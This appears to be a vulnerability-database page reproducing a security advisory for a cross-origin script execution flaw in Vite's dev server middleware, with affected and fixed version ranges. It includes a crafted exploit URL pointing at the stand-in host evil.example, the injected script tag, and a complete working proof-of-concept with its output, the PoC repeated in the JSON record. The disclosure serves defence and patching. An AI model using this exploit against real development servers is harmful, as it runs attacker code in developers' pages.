GHSA-9JRQ-W75R-8GCW
Vulnerability from github – Published: 2026-10-21 16:48 – Updated: 2026-10-21 16:48Summary
When accessing a malicious site while a dev server using Vite is running, that site was able to load scripts in a page served by the dev server.
Impact
Only apps that match the following conditions are affected:
- the dev server passes an unchanged browser request URL to
server.transformIndexHtml: this is normally used forserver.middlewareMode: trueorappType: 'custom'. The internal call forappType: 'spa'andappType: 'mpa'does not match this. - the transformed HTML contains an inline module script
- from the script in the page served by the dev server, the app stores sensitive values in the location accessible or allows critical actions
Details
Vite's SSR guide for 8.2.1 documents the affected setup. The application embeds Vite in middleware mode, reads trusted HTML, and passes the browser's unchanged request URL to the transform:
const url = req.originalUrl
template = await vite.transformIndexHtml(url, template)
For a development server at http://localhost:5173, an attacker can send this URL:
http://localhost:5173//evil.example/payload.js?/../../package.json
In Vite 8.2.1, createDevHtmlTransformFn and getHtmlFilename in indexHtml.ts use the request URL as both the transform path and the input to path.join. The value passed to path.join still includes its query text.
Chromium preserves /../../package.json because it follows ? and is therefore query text. Vite treats the same characters as filesystem path components, so the .. components resolve the derived filename to the existing project package.json.
The existing file branch in indexHtml.ts checks that filename with fs.existsSync, then preserves the htmlPath supplied by the attacker as proxyModuleUrl. The inline module rewrite in the same file writes that value into the generated src:
<script type="module" src="//evil.example/payload.js?/../../package.json?html-proxy&index=0.js"></script>
The generated value is a valid URL. Its leading // tells the browser to request the module from evil.example using the Vite page's scheme. The attacker returns JavaScript for that request, and Chromium executes it in the Vite page.
PoC
import { createServer as createHttpServer } from 'node:http'
import { createRequire } from 'node:module'
import { dirname, join } from 'node:path'
import { fileURLToPath, pathToFileURL } from 'node:url'
const directory = dirname(fileURLToPath(import.meta.url))
const require = createRequire(join(directory, 'package.json'))
const { chromium } = require('playwright-chromium')
const viteModule = await import(
pathToFileURL(require.resolve('vite')).href
)
const createViteServer =
viteModule.createServer ?? viteModule.default.createServer
// This loopback server stands in for a separately hosted attacker website.
const attackerPort = 4173
const exploitPath = `//127.0.0.1:${attackerPort}/payload.js?/../../package.json`
const html = '<script type="module">document.body.textContent = "Vite app"</script>'
const listen = (server, port = 0) =>
new Promise((resolve, reject) => {
server.once('error', reject)
server.listen(port, '127.0.0.1', () => {
server.off('error', reject)
resolve(server.address().port)
})
})
const close = (server) =>
new Promise((resolve, reject) => {
server.close((error) => (error ? reject(error) : resolve()))
})
let attackerRequest = null
const attacker = createHttpServer((request, response) => {
attackerRequest = request.url
response.writeHead(200, {
'access-control-allow-origin': '*',
'content-type': 'text/javascript',
})
response.end(
"document.documentElement.dataset.viteXssPoc = 'executed'",
)
})
const vite = await createViteServer({
appType: 'custom',
configFile: false,
root: directory,
server: {
hmr: false,
middlewareMode: true,
watch: null,
},
})
const application = createHttpServer((request, response) => {
vite.middlewares(request, response, async (error) => {
if (error) {
response.destroy(error)
return
}
try {
const transformed = await vite.transformIndexHtml(request.url, html)
response.writeHead(200, { 'content-type': 'text/html' })
response.end(transformed)
} catch (transformError) {
response.destroy(transformError)
}
})
})
await listen(attacker, attackerPort)
const applicationPort = await listen(application)
const browser = await chromium.launch({ headless: true })
try {
const page = await browser.newPage()
await page.goto(`http://127.0.0.1:${applicationPort}${exploitPath}`)
await page.waitForFunction(
() => document.documentElement.dataset.viteXssPoc === 'executed',
)
console.log(`attacker request: ${attackerRequest}`)
console.log('JavaScript from the attacker server executed in the Vite page')
} finally {
await browser.close()
await close(application)
await vite.close()
await close(attacker)
}
Observed output on Vite 8.2.1:
attacker request: /payload.js?/../../package.json?html-proxy&index=0.js
JavaScript from the attacker server executed in the Vite page
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.3.2"
},
"package": {
"ecosystem": "npm",
"name": "vite"
},
"ranges": [
{
"events": [
{
"introduced": "8.3.0"
},
{
"fixed": "8.3.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.2.3"
},
"package": {
"ecosystem": "npm",
"name": "vite"
},
"ranges": [
{
"events": [
{
"introduced": "8.2.0"
},
{
"fixed": "8.2.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.1.5"
},
"package": {
"ecosystem": "npm",
"name": "vite"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.1.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 7.3.6"
},
"package": {
"ecosystem": "npm",
"name": "vite"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "7.3.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.4.3"
},
"package": {
"ecosystem": "npm",
"name": "vite"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.4.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.0.0"
},
"package": {
"ecosystem": "npm",
"name": "vite-plus"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-112945"
],
"database_specific": {
"cwe_ids": [
"CWE-80"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-21T16:48:14Z",
"nvd_published_at": "2026-10-20T16:17:05Z",
"severity": "LOW"
},
"details": "### Summary\n\nWhen accessing a malicious site while a dev server using Vite is running, that site was able to load scripts in a page served by the dev server.\n\n### Impact\n\nOnly apps that match the following conditions are affected:\n\n- the dev server passes an unchanged browser request URL to `server.transformIndexHtml`: this is normally used for `server.middlewareMode: true` or `appType: \u0027custom\u0027`. The internal call for `appType: \u0027spa\u0027` and `appType: \u0027mpa\u0027` does not match this.\n- the transformed HTML contains an inline module script\n- from the script in the page served by the dev server, the app stores sensitive values in the location accessible or allows critical actions\n\n### Details\n\n[Vite\u0027s SSR guide for 8.2.1](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/docs/guide/ssr.md#L119-L131) documents the affected setup. The application embeds Vite in middleware mode, reads trusted HTML, and passes the browser\u0027s unchanged request URL to the transform:\n\n```js\nconst url = req.originalUrl\ntemplate = await vite.transformIndexHtml(url, template)\n```\n\nFor a development server at `http://localhost:5173`, an attacker can send this URL:\n\n```text\nhttp://localhost:5173//evil.example/payload.js?/../../package.json\n```\n\nIn Vite 8.2.1, [`createDevHtmlTransformFn` and `getHtmlFilename` in `indexHtml.ts`](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexHtml.ts#L99-L115) use the request URL as both the transform `path` and the input to `path.join`. The value passed to `path.join` still includes its query text.\n\nChromium preserves `/../../package.json` because it follows `?` and is therefore query text. Vite treats the same characters as filesystem path components, so the `..` components resolve the derived filename to the existing project `package.json`.\n\n[The existing file branch in `indexHtml.ts`](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexHtml.ts#L216-L232) checks that filename with `fs.existsSync`, then preserves the `htmlPath` supplied by the attacker as `proxyModuleUrl`. [The inline module rewrite in the same file](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexHtml.ts#L271-L278) writes that value into the generated `src`:\n\n```html\n\u003cscript type=\"module\" src=\"//evil.example/payload.js?/../../package.json?html-proxy\u0026index=0.js\"\u003e\u003c/script\u003e\n```\n\nThe generated value is a valid URL. Its leading `//` tells the browser to request the module from `evil.example` using the Vite page\u0027s scheme. The attacker returns JavaScript for that request, and Chromium executes it in the Vite page.\n\n### PoC\n\n```js\nimport { createServer as createHttpServer } from \u0027node:http\u0027\nimport { createRequire } from \u0027node:module\u0027\nimport { dirname, join } from \u0027node:path\u0027\nimport { fileURLToPath, pathToFileURL } from \u0027node:url\u0027\n\nconst directory = dirname(fileURLToPath(import.meta.url))\nconst require = createRequire(join(directory, \u0027package.json\u0027))\nconst { chromium } = require(\u0027playwright-chromium\u0027)\nconst viteModule = await import(\n pathToFileURL(require.resolve(\u0027vite\u0027)).href\n)\nconst createViteServer =\n viteModule.createServer ?? viteModule.default.createServer\n\n// This loopback server stands in for a separately hosted attacker website.\nconst attackerPort = 4173\nconst exploitPath = `//127.0.0.1:${attackerPort}/payload.js?/../../package.json`\nconst html = \u0027\u003cscript type=\"module\"\u003edocument.body.textContent = \"Vite app\"\u003c/script\u003e\u0027\n\nconst listen = (server, port = 0) =\u003e\n new Promise((resolve, reject) =\u003e {\n server.once(\u0027error\u0027, reject)\n server.listen(port, \u0027127.0.0.1\u0027, () =\u003e {\n server.off(\u0027error\u0027, reject)\n resolve(server.address().port)\n })\n })\n\nconst close = (server) =\u003e\n new Promise((resolve, reject) =\u003e {\n server.close((error) =\u003e (error ? reject(error) : resolve()))\n })\n\nlet attackerRequest = null\nconst attacker = createHttpServer((request, response) =\u003e {\n attackerRequest = request.url\n response.writeHead(200, {\n \u0027access-control-allow-origin\u0027: \u0027*\u0027,\n \u0027content-type\u0027: \u0027text/javascript\u0027,\n })\n response.end(\n \"document.documentElement.dataset.viteXssPoc = \u0027executed\u0027\",\n )\n})\n\nconst vite = await createViteServer({\n appType: \u0027custom\u0027,\n configFile: false,\n root: directory,\n server: {\n hmr: false,\n middlewareMode: true,\n watch: null,\n },\n})\n\nconst application = createHttpServer((request, response) =\u003e {\n vite.middlewares(request, response, async (error) =\u003e {\n if (error) {\n response.destroy(error)\n return\n }\n\n try {\n const transformed = await vite.transformIndexHtml(request.url, html)\n response.writeHead(200, { \u0027content-type\u0027: \u0027text/html\u0027 })\n response.end(transformed)\n } catch (transformError) {\n response.destroy(transformError)\n }\n })\n})\n\nawait listen(attacker, attackerPort)\nconst applicationPort = await listen(application)\nconst browser = await chromium.launch({ headless: true })\n\ntry {\n const page = await browser.newPage()\n await page.goto(`http://127.0.0.1:${applicationPort}${exploitPath}`)\n await page.waitForFunction(\n () =\u003e document.documentElement.dataset.viteXssPoc === \u0027executed\u0027,\n )\n\n console.log(`attacker request: ${attackerRequest}`)\n console.log(\u0027JavaScript from the attacker server executed in the Vite page\u0027)\n} finally {\n await browser.close()\n await close(application)\n await vite.close()\n await close(attacker)\n}\n```\n\nObserved output on Vite 8.2.1:\n```text\nattacker request: /payload.js?/../../package.json?html-proxy\u0026index=0.js\nJavaScript from the attacker server executed in the Vite page\n```",
"id": "GHSA-9jrq-w75r-8gcw",
"modified": "2026-10-21T16:48:14Z",
"published": "2026-10-21T16:48:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/vitejs/vite/security/advisories/GHSA-9jrq-w75r-8gcw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112945"
},
{
"type": "WEB",
"url": "https://github.com/vitejs/vite/pull/23653"
},
{
"type": "WEB",
"url": "https://github.com/vitejs/vite/commit/7dafd8e56f152403a3230608fa4005273c2e9e17"
},
{
"type": "PACKAGE",
"url": "https://github.com/vitejs/vite"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Vite: Cross origin script execution through Vite custom middleware"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.